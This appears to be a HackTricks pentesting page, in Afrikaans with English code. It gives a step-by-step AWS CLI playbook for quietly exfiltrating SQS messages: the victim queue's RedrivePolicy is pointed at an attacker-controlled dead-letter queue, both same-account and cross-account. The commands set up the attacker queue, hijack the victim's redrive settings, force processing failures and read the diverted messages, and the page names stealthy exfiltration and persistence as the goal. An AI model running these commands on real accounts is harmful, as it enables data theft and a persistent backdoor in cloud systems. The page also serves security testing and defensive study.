# AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy

{{#include ../../../../banners/hacktricks-training.md}}

Misbruik SQS Dead-Letter Queues (DLQs) om stiekem data van 'n slagoffer-bron queue af te tap deur sy RedrivePolicy na 'n deur die aanvaller beheerde queue te wys. Met 'n lae maxReceiveCount en deur normale verwerkingsfoute te veroorsaak of af te wag, word boodskappe outomaties na die aanvallers DLQ omgeleid sonder om producers of Lambda event source mappings te verander.

## Misbruikte Toestemmings
- sqs:SetQueueAttributes on the victim source queue (om RedrivePolicy te stel)
- sqs:SetQueueAttributes on the attacker DLQ (om RedriveAllowPolicy te stel)
- Opsioneel vir versnelde uitvoering: sqs:ReceiveMessage on the source queue
- Opsioneel vir opstelling: sqs:CreateQueue, sqs:SendMessage

## Selfde-rekening Vloei (allowAll)

Voorbereiding (aanvaller-rekening of gekompromitteerde principal):
```bash
REGION=us-east-1
# 1) Create attacker DLQ
ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

# 2) Allow any same-account source queue to use this DLQ
aws sqs set-queue-attributes \
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'
```
Uitvoering (run as compromised principal in victim account):
```bash
# 3) Point victim source queue to attacker DLQ with low retries
VICTIM_SRC_URL=<victim source queue url>
ATTACKER_DLQ_ARN=<attacker dlq arn>
aws sqs set-queue-attributes \
--queue-url "$VICTIM_SRC_URL" --region $REGION \
--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'
```
Versnelling (opsioneel):
```bash
# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
for i in {1..2}; do \
aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
--max-number-of-messages 10 --visibility-timeout 0; \
done
```
Validasie:
```bash
# 5) Confirm messages appear in attacker DLQ
aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--max-number-of-messages 10 --attribute-names All --message-attribute-names All
```
Voorbeeldbewys (Eienskappe sluit DeadLetterQueueSourceArn in):
```json
{
"MessageId": "...",
"Body": "...",
"Attributes": {
"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
}
}
```
## Kruis-rekening-variant (byQueue)
Stel RedriveAllowPolicy op die aanvaller DLQ sodat dit slegs spesifieke slagoffer source queue ARNs toelaat:
```bash
VICTIM_SRC_ARN=<victim source queue arn>
aws sqs set-queue-attributes \
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'
```
## Impak
- Onopvallende, volhoubare data exfiltration/persistence deur foutiewe boodskappe outomaties van 'n slagoffer se SQS source queue na 'n deur die aanvaller beheerde DLQ om te lei, met minimale operasionele geraas en geen veranderinge aan produsente of Lambda mappings nie.

{{#include ../../../../banners/hacktricks-training.md}}
